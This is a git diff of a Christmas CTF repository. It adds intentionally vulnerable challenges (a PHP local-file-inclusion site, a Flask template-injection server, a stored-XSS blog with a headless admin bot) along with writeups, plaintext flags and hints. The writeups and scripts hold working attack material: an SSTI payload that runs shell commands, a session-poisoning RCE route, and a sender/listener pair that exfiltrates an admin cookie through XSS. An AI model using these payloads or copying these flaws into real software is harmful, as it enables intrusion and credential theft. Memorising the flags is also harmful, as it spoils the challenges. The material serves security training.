Exception as e: + tb = traceback.format_exc() + return False, f"Execution error: {e}" + except Exception as e: + return False, f"Error: {e}" + +# ---------- TCP handler ---------- +class REPLHandler(socketserver.StreamRequestHandler): + def handle(self): + addr = self.client_address[0] + print(f"[+] Connection from {addr}") + # Use instance-local copies so per-connection state can diverge if needed + g = safe_globals + l = safe_locals + try: + self.wfile.write(WELCOME.encode()) + while True: + line = self.rfile.readline() + if not line: + break + src = line.decode().rstrip("\n") + if src.strip().upper() == "QUIT": + self.wfile.write(b"Goodbye.\n") + break + ok, out = evaluate_source(src, g, l) + # If source was empty, don't print extra blank line (just prompt) + if out == "": + self.wfile.write(b">> ") + continue + # If QUIT sentinel returned + if out == "QUIT": + self.wfile.write(b"Goodbye.\n") + break + # Send result or error + self.wfile.write((out + "\n").encode()) + self.wfile.write(b">> ") + except ConnectionResetError: + pass + except Exception as e: + print("Handler exception:", e) + finally: + print(f"[-] Disconnected {addr}") + +class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): + allow_reuse_address = True + +def run_tcp_server(host: str, port: int): + srv = ThreadedTCPServer((host, port), REPLHandler) + print(f"Sandbox Slip (TCP) listening on {host}:{port}") + try: + srv.serve_forever() + except KeyboardInterrupt: + print("Shutting down TCP server...") + srv.shutdown() + srv.server_close() + +# ---------- STDIN / STDOUT loop ---------- +def run_stdin_server(): + """ + Interactive REPL on stdin/stdout. Useful for local testing. + Reads from sys.stdin, writes responses to sys.stdout, prompts with '>> '. + """ + g = safe_globals + l = safe_locals + sys.stdout.write(WELCOME) + sys.stdout.flush() + try: + while True: + # Read one line from stdin + line = sys.stdin.readline() + if not line: + # EOF + break + src = line.rstrip("\n") + if src.strip().upper() == "QUIT": + sys.stdout.write("Goodbye.\n") + sys.stdout.flush() + break + ok, out = evaluate_source(src, g, l) + if out == "": + sys.stdout.write(">> ") + sys.stdout.flush() + continue + if out == "QUIT": + sys.stdout.write("Goodbye.\n") + sys.stdout.flush() + break + sys.stdout.write(out + "\n") + sys.stdout.write(">> ") + sys.stdout.flush() + except KeyboardInterrupt: + sys.stdout.write("\nInterrupted. Exiting.\n") + sys.stdout.flush() + +# ---------- CLI ---------- +def main(): + parser = argparse.ArgumentParser(description="Sandbox Slip (TCP or STDIN REPL)") + parser.add_argument("--mode", choices=["tcp", "stdin"], default="tcp", + help="Run mode: 'tcp' to listen on network (default), 'stdin' for local REPL") + parser.add_argument("--host", default=HOST, help="Host to bind in TCP mode") + parser.add_argument("--port", type=int, default=PORT, help="Port to bind in TCP mode") + args = parser.parse_args() + + if args.mode == "stdin": + run_stdin_server() + else: + run_tcp_server(args.host, args.port) + +if __name__ == "__main__": + main() diff --git a/Networking/.DS_Store b/Networking/.DS_Store new file mode 100644 index 0000000..7c17aa9 Binary files /dev/null and b/Networking/.DS_Store differ diff --git a/Networking/Easy/.DS_Store b/Networking/Easy/.DS_Store new file mode 100644 index 0000000..dd851c6 Binary files /dev/null and b/Networking/Easy/.DS_Store differ diff --git a/Networking/Easy/Master of Sea/.DS_Store b/Networking/Easy/Master of Sea/.DS_Store new file mode 100644 index 0000000..7e7b8d1 Binary files /dev/null and b/Networking/Easy/Master of Sea/.DS_Store differ diff --git a/manifest.yml b/Networking/Easy/Master of Sea/manifest.yml similarity index 100% rename from manifest.yml rename to Networking/Easy/Master of Sea/manifest.yml diff --git a/dump.pcapng b/Networking/Easy/Master of Sea/public/dump.pcapng similarity index 100% rename from dump.pcapng rename to Networking/Easy/Master of Sea/public/dump.pcapng diff --git a/wall.jpg b/Networking/Easy/Master of Sea/public/wall.jpg old mode 100644 new mode 100755 similarity index 100% rename from wall.jpg rename to Networking/Easy/Master of Sea/public/wall.jpg diff --git a/replace.py b/Networking/Easy/Master of Sea/scripts/replace.py similarity index 100% rename from replace.py rename to Networking/Easy/Master of Sea/scripts/replace.py diff --git a/Networking/Medium/Xored FTP/data/flag.dat b/Networking/Medium/Xored FTP/data/flag.dat new file mode 100755 index 0000000..c076f39 --- /dev/null +++ b/Networking/Medium/Xored FTP/data/flag.dat @@ -0,0 +1,2 @@ + ZMQ9HI; k$qoI?k$@ +G^W7FW? \ No newline at end of file diff --git a/Networking/Medium/Xored FTP/manifest.yml b/Networking/Medium/Xored FTP/manifest.yml new file mode 100644 index 0000000..d082dba --- /dev/null +++ b/Networking/Medium/Xored FTP/manifest.yml @@ -0,0 +1,15 @@ +slug: xored_ftp +title: "XORed FTP" +description: "Elf Bob wants to send a file containing confidential information to his bestie elf alice. Little his knows is that he uses insecure FTP and Grinch is eavesdropping on the connection. However, Bob is a bit more cautious this time and XORs the file with a key before sending it over FTP. Can you help Eve recover the original file and find the flag hidden inside?" +category: "networking" +points: 700 +is_visible: true +complexity: 7 +attachments: + - "dump.pcapng" +flag_plaintext: "EntySec{x0r3d_f1l3_0v3r_ftp_1s_s3cur3}" +hints: + - text: "FTP password is the same password as for the file." + penalty_points: 10 + - text: "File is encrypted using one-time pad." + penalty_points: 20 \ No newline at end of file diff --git a/Networking/Medium/Xored FTP/public/dump.pcapng b/Networking/Medium/Xored FTP/public/dump.pcapng new file mode 100755 index 0000000..f53e91e Binary files /dev/null and b/Networking/Medium/Xored FTP/public/dump.pcapng differ diff --git a/README.md b/README.md index fbfd9e0..b8b9cc3 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,8 @@ -# NoN-CTF +

logo

+

Naughty or Nice CTF

+ +

+
Unwrap festive flags and unleash your inner hacker in a +
Christmas CTF where being naughty or nice is all part of the game. +

diff --git a/Web/.DS_Store b/Web/.DS_Store new file mode 100644 index 0000000..f5f2fae Binary files /dev/null and b/Web/.DS_Store differ diff --git a/Web/Easy/.DS_Store b/Web/Easy/.DS_Store new file mode 100644 index 0000000..7838022 Binary files /dev/null and b/Web/Easy/.DS_Store differ diff --git a/Web/Easy/Big Software Foundation.zip b/Web/Easy/Big Software Foundation.zip new file mode 100644 index 0000000..0e9b7d5 Binary files /dev/null and b/Web/Easy/Big Software Foundation.zip differ diff --git a/Web/Easy/Big Software Foundation/.DS_Store b/Web/Easy/Big Software Foundation/.DS_Store new file mode 100644 index 0000000..8451174 Binary files /dev/null and b/Web/Easy/Big Software Foundation/.DS_Store differ diff --git a/Web/Easy/Big Software Foundation/Dockerfile b/Web/Easy/Big Software Foundation/Dockerfile new file mode 100755 index 0000000..d9229d3 --- /dev/null +++ b/Web/Easy/Big Software Foundation/Dockerfile @@ -0,0 +1,14 @@ +FROM php:7.2-apache + +COPY . /var/www/html/ + +# Permissions +RUN chmod -R 755 /var/www/html/assets && \ + find /var/www/html/assets/img -type d -exec chmod 755 {} \; && \ + find /var/www/html/assets/img -type f -exec chmod 644 {} \; + +# Copy entrypoint script +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +ENTRYPOINT ["/entrypoint.sh"] \ No newline at end of file diff --git a/Web/Easy/Big Software Foundation/Writeup/README.md b/Web/Easy/Big Software Foundation/Writeup/README.md new file mode 100755 index 0000000..d1a8cfd --- /dev/null +++ b/Web/Easy/Big Software Foundation/Writeup/README.md @@ -0,0 +1,28 @@ +## Big Software Foundation + +Big Software Foundation or BSF, one of the largest software development companies finally launched their website after a long break. They asked us to assess their security, can you help us find a flaw in their system or is it impenetrable? + +

+ +

+ +### Solution + +There are few ways how this challenge can be solved. One of these ways it by PHP session poisoning. For this you need to locate "Sign For Newsletter" form and send payload +instead of email. Payload should look like this: + +```php + +``` + +

+ +

+ +Now, since we obviously have local file inclusion vulnerability in `?page=` parameter we can access our session at `/tmp/sess_`. Accessing it through `?page=/tmp/sess_&cmd=cat+flag.txt` would lead to RCE reading `flag.txt` + +**NOTE:** Doing `?page=flag.txt` won't work because code prohibits direct access to this file. + +

+ +

diff --git a/Web/Easy/Big Software Foundation/Writeup/denied.png b/Web/Easy/Big Software Foundation/Writeup/denied.png new file mode 100755 index 0000000..3c2d187 Binary files /dev/null and b/Web/Easy/Big Software Foundation/Writeup/denied.png differ diff --git a/Web/Easy/Big Software Foundation/Writeup/email.png b/Web/Easy/Big Software Foundation/Writeup/email.png new file mode 100755 index 0000000..801c1d1 Binary files /dev/null and b/Web/Easy/Big Software Foundation/Writeup/email.png differ diff --git a/Web/Easy/Big Software Foundation/Writeup/index.png b/Web/Easy/Big Software Foundation/Writeup/index.png new file mode 100755 index 0000000..bff2480 Binary files /dev/null and b/Web/Easy/Big Software Foundation/Writeup/index.png differ diff --git a/Web/Easy/Big Software Foundation/about.php b/Web/Easy/Big Software Foundation/about.php new file mode 100755 index 0000000..f7290a0 --- /dev/null +++ b/Web/Easy/Big Software Foundation/about.php @@ -0,0 +1,8 @@ +
+

About Us

+

Welcome to the Big Software Foundation, where we grow software to help businesses thrive. Founded in 2010, we have been at the forefront of delivering innovative software solutions tailored to meet the unique needs of our clients.

+

Our Mission

+

Our mission is to empower businesses with cutting-edge technology, enabling them to achieve their goals efficiently and effectively. We believe in the power of software to transform industries and drive growth.

+

Our Team

+

Our team consists of experienced software developers, database experts, and cloud specialists who are passionate about solving complex problems and delivering high-quality solutions.

+
\ No newline at end of file diff --git a/Web/Easy/Big Software Foundation/assets/css/styles.css b/Web/Easy/Big Software Foundation/assets/css/styles.css new file mode 100755 index 0000000..ee95a90 --- /dev/null +++ b/Web/Easy/Big Software Foundation/assets/css/styles.css @@ -0,0 +1,59 @@ +body { + background-color: #f5f5dc; + margin-bottom: 100px; /* Add margin to prevent content from being hidden behind the footer */ + } + .header { + background: url('../img/grass.jpg') no-repeat center center; + background-size: cover; + height: 200px; + display: flex; + align-items: center; + padding-left: 20px; + } + .header img { + height: 100px; + } + .navbar { + background-color: #556b2f; + padding: 15px; + box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1); + } + .navbar-brand { + font-size: 1.5rem; + font-weight: bold; + } + .navbar-nav { + margin-left: auto; + } + .navbar a { + color: white !important; + font-weight: 600; + transition: color 0.3s ease-in-out; + } + .navbar a:hover { + color: #d2b48c !important; + } + .card { + background-color: #d2b48c; + } + /* Footer styles */ + footer { + position: fixed; + bottom: 0; + left: 0; + width: 100%; + background-color: #556b2f; + color: white; + padding: 10px 20px; + display: flex; + justify-content: space-between; + align-items: center; + box-shadow: 0px -4px 6px rgba(0, 0, 0, 0.1); + } + footer a { + color: #d2b48c; + text-decoration: none; + } + footer a:hover { + text-decoration: underline; + } \ No newline at end of file diff --git a/Web/Easy/Big Software Foundation/assets/img/grass.jpg b/Web/Easy/Big Software Foundation/assets/img/grass.jpg new file mode 100755 index 0000000..a4a7ab2 Binary files /dev/null and b/Web/Easy/Big Software Foundation/assets/img/grass.jpg differ diff --git a/Web/Easy/Big Software Foundation/assets/img/logo.png b/Web/Easy/Big Software Foundation/assets/img/logo.png new file mode 100755 index 0000000..d200620 Binary files /dev/null and b/Web/Easy/Big Software Foundation/assets/img/logo.png differ diff --git a/Web/Easy/Big Software Foundation/contact.php b/Web/Easy/Big Software Foundation/contact.php new file mode 100755 index 0000000..bbaf0c2 --- /dev/null +++ b/Web/Easy/Big Software Foundation/contact.php @@ -0,0 +1,9 @@ +
+

Contact Us

+

We'd love to hear from you! Whether you have a question about our services, need technical support, or want to collaborate, feel free to reach out.

+

Get in Touch

+

Email: contact@bigsoftwarefoundation.org

+

Phone: +1 (123) 456-7890

+

Visit Us

+

Big Software Foundation
123 Software Lane
Tech City, TX 12345
USA

+
\ No newline at end of file diff --git a/Web/Easy/Big Software Foundation/entrypoint.sh b/Web/Easy/Big Software Foundation/entrypoint.sh new file mode 100644 index 0000000..690905f --- /dev/null +++ b/Web/Easy/Big Software Foundation/entrypoint.sh @@ -0,0 +1,11 @@ +#!/bin/bash +set -e + +# If FLAG is set, write it to /var/www/html/flag.txt +if [ -n "$FLAG" ]; then + echo "$FLAG" > /var/www/html/flag.txt + chmod 644 /var/www/html/flag.txt +fi + +# Start Apache in foreground +exec apache2-foreground diff --git a/Web/Easy/Big Software Foundation/index.php b/Web/Easy/Big Software Foundation/index.php new file mode 100755 index 0000000..70f544a --- /dev/null +++ b/Web/Easy/Big Software Foundation/index.php @@ -0,0 +1,104 @@ + + + + + + + Big Software Foundation + + + + +
+ Big Software Foundation Logo +
+ + +
+ + + +
+

We Grow Software!

+

We design high-quality software and provide expert database services to help businesses grow.

+
+
+
+
+

Custom Software

+

We develop tailored software solutions for your business needs.

+
+
+
+
+

Database Management

+

Our experts optimize and manage your databases efficiently.

+
+
+
+
+

Cloud Solutions

+

We provide cloud-based solutions for scalable and reliable software.

+
+
+
+ +
+ + + + + + + \ No newline at end of file diff --git a/Web/Easy/Big Software Foundation/manifest.yml b/Web/Easy/Big Software Foundation/manifest.yml new file mode 100644 index 0000000..503bcd2 --- /dev/null +++ b/Web/Easy/Big Software Foundation/manifest.yml @@ -0,0 +1,9 @@ +slug: big_software_1 +title: "Big Software Foundation" +description: "Big Software Foundation develops solutions for North Pole. A local file inclusion vulnerability found on their website allows attackers to read sensitive files on the server. Exploiting this vulnerability can lead to unauthorized access to configuration files, user data, and potentially remote code execution if combined with other vulnerabilities. Your task is to exploit this LFI vulnerability to retrieve the flag stored in a sensitive file on the server." +category: "web" +points: 500 +is_visible: true +complexity: 5 +zip: "local" +flag_plaintext: "CTF{lf1_php_s3ss10n_p01s0n1ng}" \ No newline at end of file diff --git a/Web/Easy/Second Track/Dockerfile b/Web/Easy/Second Track/Dockerfile new file mode 100755 index 0000000..0e0e0d3 --- /dev/null +++ b/Web/Easy/Second Track/Dockerfile @@ -0,0 +1,17 @@ +FROM python:3.9-slim + +WORKDIR /app +COPY . /app +RUN pip install --no-cache-dir -r requirements.txt + +EXPOSE 80 +ENV PORT=80 + +ENV FLASK_APP=app.py +ENV FLASK_ENV=development + +# Copy entrypoint script +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Web/Easy/Second Track/Writeup/README.md b/Web/Easy/Second Track/Writeup/README.md new file mode 100755 index 0000000..fb6e057 --- /dev/null +++ b/Web/Easy/Second Track/Writeup/README.md @@ -0,0 +1,9 @@ +## Second Track + +Second Track just announced that they have the most secure backup server running in their data center. Is it as safe as the owners claim? + +### Solution + +```python3 +{{"".__class__.__mro__[1].__subclasses__()[399]("cat /app/flag.txt", shell=True, stdout=-1).communicate()[0]}} +``` \ No newline at end of file diff --git a/Web/Easy/Second Track/app.py b/Web/Easy/Second Track/app.py new file mode 100755 index 0000000..78d21c9 --- /dev/null +++ b/Web/Easy/Second Track/app.py @@ -0,0 +1,30 @@ +from flask import ( + Flask, + render_template, + request, + render_template_string +) + +app = Flask(__name__) + + +@app.route('/', methods=['GET', 'POST']) +def index(): + output = "" + + if request.method == 'POST': + search_term = request.form.get('search_term', '') + output = f'Backup "' + search_term + '" is not available due to technical issues.' + + return render_template('index.html', + search_result=render_template_string(output)) + + +@app.route('/about') +def about(): + return render_template('about.html') + + +@app.route('/contact') +def contact(): + return render_template('contact.html') diff --git a/Web/Easy/Second Track/entrypoint.sh b/Web/Easy/Second Track/entrypoint.sh new file mode 100644 index 0000000..67c404d --- /dev/null +++ b/Web/Easy/Second Track/entrypoint.sh @@ -0,0 +1,10 @@ +#!/bin/bash +set -e + +# If FLAG is set, write it to /app/flag.txt +if [ -n "$FLAG" ]; then + echo "$FLAG" > /app/flag.txt + chmod 644 /app/flag.txt +fi + +exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app diff --git a/Web/Easy/Second Track/manifest.yml b/Web/Easy/Second Track/manifest.yml new file mode 100644 index 0000000..39cba77 --- /dev/null +++ b/Web/Easy/Second Track/manifest.yml @@ -0,0 +1,21 @@ +slug: second_track_1 +title: "Second Track" +description: > + Second Track just announced that they have the most secure backup server running in their data center. + Turns out Santa uses their services to backup data related to presents' location. + + The only thing we know is that server might be vulnerable to SSTI, what might it be? + Would you be able to discover what Santa hides there? +category: "web" +points: 500 +is_visible: true +complexity: 5 +zip: "local" +flag_plaintext: "CTF{pyth0n_sst1_1nj3ct10n_rul3z}" +hints: + - text: "Try inputs like {{7*7}} or {{config}} to see if the server is vulnerable to SSTI." + penalty_points: 10 + - text: "Look for ways to read files or execute commands on the server using SSTI techniques." + penalty_points: 20 + - text: "Use SSTI to read the flag file located on the server." + penalty_points: 30 \ No newline at end of file diff --git a/Web/Easy/Second Track/requirements.txt b/Web/Easy/Second Track/requirements.txt new file mode 100755 index 0000000..012d114 --- /dev/null +++ b/Web/Easy/Second Track/requirements.txt @@ -0,0 +1,6 @@ +Flask==2.2.2 +itsdangerous==2.1.2 +Jinja2==3.1.2 +MarkupSafe==2.1.1 +Werkzeug==2.2.2 +gunicorn \ No newline at end of file diff --git a/Web/Easy/Second Track/static/css/styles.css b/Web/Easy/Second Track/static/css/styles.css new file mode 100755 index 0000000..a9dd0b7 --- /dev/null +++ b/Web/Easy/Second Track/static/css/styles.css @@ -0,0 +1,24 @@ +/* Background Image */ +body { + background-image: url('../img/background.jpg'); /* Add a background image */ + background-size: cover; + background-position: center; + background-repeat: no-repeat; + min-height: 100vh; + margin-bottom: 100px; /* Add margin to prevent content from being hidden behind the footer */ +} + +/* Overlay for better readability */ +.background-overlay { + background-color: rgba(255, 255, 255, 0.8); + min-height: calc(100vh - 120px); /* Adjust for navbar and footer */ + padding-top: 20px; +} + +/* Footer styling */ +.footer { + position: fixed; + bottom: 0; + width: 100%; + background-color: rgba(0, 0, 0, 0.8); +} diff --git a/Web/Easy/Second Track/static/img/background.jpg b/Web/Easy/Second Track/static/img/background.jpg new file mode 100755 index 0000000..3b42ca2 Binary files /dev/null and b/Web/Easy/Second Track/static/img/background.jpg differ diff --git a/Web/Easy/Second Track/static/img/logo.png b/Web/Easy/Second Track/static/img/logo.png new file mode 100755 index 0000000..8f85e41 Binary files /dev/null and b/Web/Easy/Second Track/static/img/logo.png differ diff --git a/Web/Easy/Second Track/templates/about.html b/Web/Easy/Second Track/templates/about.html new file mode 100755 index 0000000..c917e18 --- /dev/null +++ b/Web/Easy/Second Track/templates/about.html @@ -0,0 +1,70 @@ + + + + + + + + About - Second Track + + + + + + + + + + +
+
+
+

About Us

+

+ Second Track is a leading provider of secure and reliable backup solutions. Our mission is to ensure the safety and availability of your data, no matter the + circumstances. +

+

+ Founded in 2018, we have grown to serve thousands of clients worldwide. Our state-of-the-art infrastructure and dedicated team of experts ensure that your + data is always protected. +

+
+
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + \ No newline at end of file diff --git a/Web/Easy/Second Track/templates/contact.html b/Web/Easy/Second Track/templates/contact.html new file mode 100755 index 0000000..fbb81e8 --- /dev/null +++ b/Web/Easy/Second Track/templates/contact.html @@ -0,0 +1,80 @@ + + + + + + + + Contact - Second Track + + + + + + + + + + +
+
+
+

Contact Us

+

+ Have questions or need support? Reach out to us! +

+
+
+ + +
+
+ + +
+
+ + +
+ +
+
+
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + \ No newline at end of file diff --git a/Web/Easy/Second Track/templates/index.html b/Web/Easy/Second Track/templates/index.html new file mode 100755 index 0000000..076f5c9 --- /dev/null +++ b/Web/Easy/Second Track/templates/index.html @@ -0,0 +1,77 @@ + + + + + + + + Home - Second Track + + + + + + + +
+
+
+

Welcome to Second TRK Backup Server

+

+ Our backup server ensures the safety and security of your data. Use the search bar below to locate your backups. +

+
+ + +
+
+ + +
+
+ + + {% if search_result %} + + {% endif %} +
+
+ + +
+
+

© 2025 Second Track. All rights reserved.

+

123 Backup Lane, Data City, DC 12345

+

Phone: (123) 456-7890 | Email: info@secondtrk.com

+
+
+ + + + + diff --git a/Web/Hard/Elfs' Blog/Dockerfile b/Web/Hard/Elfs' Blog/Dockerfile new file mode 100644 index 0000000..ae5bce8 --- /dev/null +++ b/Web/Hard/Elfs' Blog/Dockerfile @@ -0,0 +1,48 @@ +FROM node:20-bookworm-slim +ENV DEBIAN_FRONTEND=noninteractive + +# Chromium + Python +RUN apt-get update && apt-get install -y --no-install-recommends \ + chromium \ + python3 python3-venv python3-pip \ + ca-certificates \ + libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2 \ + libxkbcommon0 libxcomposite1 libxdamage1 libxrandr2 libgbm1 \ + libasound2 libpangocairo-1.0-0 libpango-1.0-0 libgtk-3-0 libxss1 \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /app + +# Copy just manifests first for cache-friendly install +COPY package.json /app + +# Puppeteer uses system Chromium +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=1 +ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium + +# Install Node deps (if lock is missing, fall back to npm install) +RUN if [ -f package-lock.json ]; then \ + npm ci --omit=dev --no-audit --no-fund ; \ + else \ + npm install --omit=dev --no-audit --no-fund ; \ + fi + +# Python venv to avoid PEP 668 +RUN python3 -m venv /opt/venv +ENV PATH="/opt/venv/bin:${PATH}" +# install gunicorn as well as flask/requests +RUN pip install --no-cache-dir gunicorn flask requests + +# Copy the rest of the app +COPY . /app + +# Copy entrypoint script +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +EXPOSE 80 +ENV ADMIN_BOT_ENABLED=1 +ENV ADMIN_BOT_INTERVAL=15 +ENV BASE_URL=http://127.0.0.1:80 + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Web/Hard/Elfs' Blog/app.py b/Web/Hard/Elfs' Blog/app.py new file mode 100644 index 0000000..5573df5 --- /dev/null +++ b/Web/Hard/Elfs' Blog/app.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python3 +# app.py - minimal vulnerable blog demonstrating stored XSS + +from flask import ( + Flask, + request, + redirect, + url_for, + render_template, + make_response, + jsonify, + abort +) +import json, os + +app = Flask(__name__) +DATA_DIR = 'data' +COMMENTS_FILE = os.path.join(DATA_DIR, 'comments.json') +ADMIN_TOKEN_FILE = os.path.join(DATA_DIR, 'admin_token.txt') +FLAG_FILE = "flag.txt" + +def read_comments(): + with open(COMMENTS_FILE,'r') as f: + return json.load(f) + +def write_comments(comments): + with open(COMMENTS_FILE,'w') as f: + json.dump(comments, f) + +def read_file(path): + with open(path, 'r') as f: + return f.read().strip() + +@app.route('/') +def index(): + return render_template('index.html') + +@app.route('/post/') +def post_view(post_id): + comments = read_comments() + return render_template('post.html', post_id=post_id, comments=comments) + +@app.route('/comment', methods=['POST']) +def comment_post(): + name = request.form.get('name','Anonymous') + comment = request.form.get('comment','') + comments = read_comments() + next_id = max([c.get('id',0) for c in comments], default=0) + 1 + comments.append({'name':name,'comment':comment,'id':next_id}) + write_comments(comments) + return redirect(url_for('post_view', post_id=1)) + +@app.route('/api/comments') +def api_comments(): + # returns raw comments as JSON for convenience (admin UI might use this) + return jsonify(read_comments()) + +@app.route('/admin_login') +def admin_login(): + token = request.args.get('token', '') + real_token = read_file(ADMIN_TOKEN_FILE) + if token != real_token: + abort(404) + + # Create response that sets a cookie named 'session' containing the flag + resp = make_response(redirect(url_for('post_view', post_id=1))) + flag = read_file(FLAG_FILE) + + resp.set_cookie('session', flag, samesite='Lax') + return resp diff --git a/Web/Hard/Elfs' Blog/bot/admin.js b/Web/Hard/Elfs' Blog/bot/admin.js new file mode 100644 index 0000000..6eb63b1 --- /dev/null +++ b/Web/Hard/Elfs' Blog/bot/admin.js @@ -0,0 +1,47 @@ +// bot/admin.js +const puppeteer = require('puppeteer'); +const yargs = require('yargs/yargs'); +const { hideBin } = require('yargs/helpers'); + +const argv = yargs(hideBin(process.argv)).options({ + base: { type: 'string', default: 'http://127.0.0.1:80' }, + token: { type: 'string', demandOption: true }, + wait: { type: 'number', default: 3000 } +}).argv; + +// Use system chromium installed by apt +const executablePath = process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium'; + +(async () => { + const browser = await puppeteer.launch({ + headless: true, + executablePath, + args: ['--no-sandbox','--disable-setuid-sandbox','--disable-dev-shm-usage','--disable-gpu'] + }); + try { + const page = await browser.newPage(); + + page.on('request', r => { + const u = r.url(); + if (u.includes('collect') || u.includes('exfil') || u.includes('?c=') || u.includes('&c=')) { + console.log('[exfil-request]', u); + } + }); + + const login = `${argv.base.replace(/\/$/,'')}/admin_login?token=${encodeURIComponent(argv.token)}`; + const post = `${argv.base.replace(/\/$/,'')}/post/1`; + + console.log('[admin-bot] login', login); + await page.goto(login, { waitUntil: 'networkidle2', timeout: 20000 }); + + console.log('[admin-bot] post', post); + await page.goto(post, { waitUntil: 'networkidle2', timeout: 20000 }); + + await new Promise(res => setTimeout(res, argv.wait)); + } finally { + await browser.close(); + } +})().catch(e => { + console.error('[admin-bot] error', e); + process.exit(1); +}); diff --git a/Web/Hard/Elfs' Blog/data/admin_token.txt b/Web/Hard/Elfs' Blog/data/admin_token.txt new file mode 100644 index 0000000..ef8f686 --- /dev/null +++ b/Web/Hard/Elfs' Blog/data/admin_token.txt @@ -0,0 +1 @@ +bWjAjTBvrSoJPpr_2hcq391wR4x4H2T3 \ No newline at end of file diff --git a/Web/Hard/Elfs' Blog/data/comments.json b/Web/Hard/Elfs' Blog/data/comments.json new file mode 100644 index 0000000..0637a08 --- /dev/null +++ b/Web/Hard/Elfs' Blog/data/comments.json @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/Web/Hard/Elfs' Blog/entrypoint.sh b/Web/Hard/Elfs' Blog/entrypoint.sh new file mode 100644 index 0000000..315977d --- /dev/null +++ b/Web/Hard/Elfs' Blog/entrypoint.sh @@ -0,0 +1,30 @@ +#!/bin/bash +set -euo pipefail + +# If FLAG is set, write it to /app/flag.txt +if [ -n "${FLAG:-}" ]; then + echo "$FLAG" > /app/flag.txt + chmod 644 /app/flag.txt +fi + +# Start Gunicorn in background (2 workers, threaded model) +gunicorn -w 2 -k gthread --threads 8 -b 0.0.0.0:80 app:app --timeout 30 --access-logfile - --error-logfile - & +GUNICORN_PID=$! +sleep 1 +echo "[container] gunicorn started (pid $GUNICORN_PID)" + +# admin bot loop (same behavior as before) +while true; do + if [ "${ADMIN_BOT_ENABLED:-1}" = "1" ]; then + if [ -f data/admin_token.txt ]; then + TOKEN=$(cat data/admin_token.txt) + echo "[container] running puppeteer admin bot" + node bot/admin.js --base "${BASE_URL:-http://127.0.0.1:80}" --token "$TOKEN" --wait 3000 || true + else + echo "[container] admin token not found at data/admin_token.txt" + fi + else + echo "[container] ADMIN_BOT_ENABLED != 1; sleeping" + fi + sleep ${ADMIN_BOT_INTERVAL:-15} +done diff --git a/Web/Hard/Elfs' Blog/manifest.yml b/Web/Hard/Elfs' Blog/manifest.yml new file mode 100644 index 0000000..57f024d --- /dev/null +++ b/Web/Hard/Elfs' Blog/manifest.yml @@ -0,0 +1,14 @@ +slug: elfs_blog +title: "Elf's Blog" +description: "Elfs developed a blog to publish insigths from Santa's factory. You found a post called 'Terrible Working Environment' where readers can leave comments. Looks like comments are not serialized. Maybe you can exploit it?" +category: "web" +points: 700 +is_visible: true +complexity: 7 +zip: "local" +flag_plaintext: "CTF{xss_m4d3_34s13r_w1th_pupp3t33r}" +hints: + - text: "Have you heard anything about XSS?" + penalty_points: 20 + - text: "The server sets a cookie named `session` containing the flag. It's not HttpOnly. Can you craft a comment that reads `document.cookie` and exfiltrates it?" + penalty_points: 40 \ No newline at end of file diff --git a/Web/Hard/Elfs' Blog/package.json b/Web/Hard/Elfs' Blog/package.json new file mode 100644 index 0000000..b32ed5a --- /dev/null +++ b/Web/Hard/Elfs' Blog/package.json @@ -0,0 +1,13 @@ +{ + "name": "script-kiddie-diary", + "version": "1.0.0", + "description": "CTF challenge with Puppeteer admin bot", + "private": true, + "scripts": { + "bot": "node bot/admin.js" + }, + "dependencies": { + "puppeteer": "^22.7.1", + "yargs": "^17.7.2" + } +} diff --git a/Web/Hard/Elfs' Blog/scripts/listener.py b/Web/Hard/Elfs' Blog/scripts/listener.py new file mode 100644 index 0000000..538d954 --- /dev/null +++ b/Web/Hard/Elfs' Blog/scripts/listener.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +# listener.py - simple HTTP server to collect exfiltrated cookies +from http.server import BaseHTTPRequestHandler, HTTPServer +from urllib.parse import urlparse, parse_qs + +COLLECTED = [] + +class Handler(BaseHTTPRequestHandler): + def do_GET(self): + parsed = urlparse(self.path) + qs = parse_qs(parsed.query) + # expect ?d= + data = qs.get('d',[''])[0] + if data: + COLLECTED.append(data) + print('[+] Collected:', data) + self.send_response(200) + self.end_headers() + self.wfile.write(b'OK') + +if __name__ == '__main__': + server_address = ('', 9000) + httpd = HTTPServer(server_address, Handler) + print('Collector listening on http://0.0.0.0:9000 . Waiting for exfiltrated cookies...') + httpd.serve_forever() \ No newline at end of file diff --git a/Web/Hard/Elfs' Blog/scripts/sender.py b/Web/Hard/Elfs' Blog/scripts/sender.py new file mode 100644 index 0000000..ed32b25 --- /dev/null +++ b/Web/Hard/Elfs' Blog/scripts/sender.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +import requests, argparse + +ap = argparse.ArgumentParser() +ap.add_argument('--target', default='http://127.0.0.1:8080', help='Base URL of vulnerable blog') +ap.add_argument('--collector', default='http://127.0.0.1:9000', help='Collector URL to receive exfiltrated cookie') +args = ap.parse_args() + +payload = f"" + +r = requests.post(args.target + '/comment', data={'name':'attacker','comment':payload}) +print('Posted comment, got', r.status_code) +print('Visit the post page as admin (or wait for admin) to trigger the payload and see exfiltration on the collector.') \ No newline at end of file diff --git a/Web/Hard/Elfs' Blog/templates/index.html b/Web/Hard/Elfs' Blog/templates/index.html new file mode 100644 index 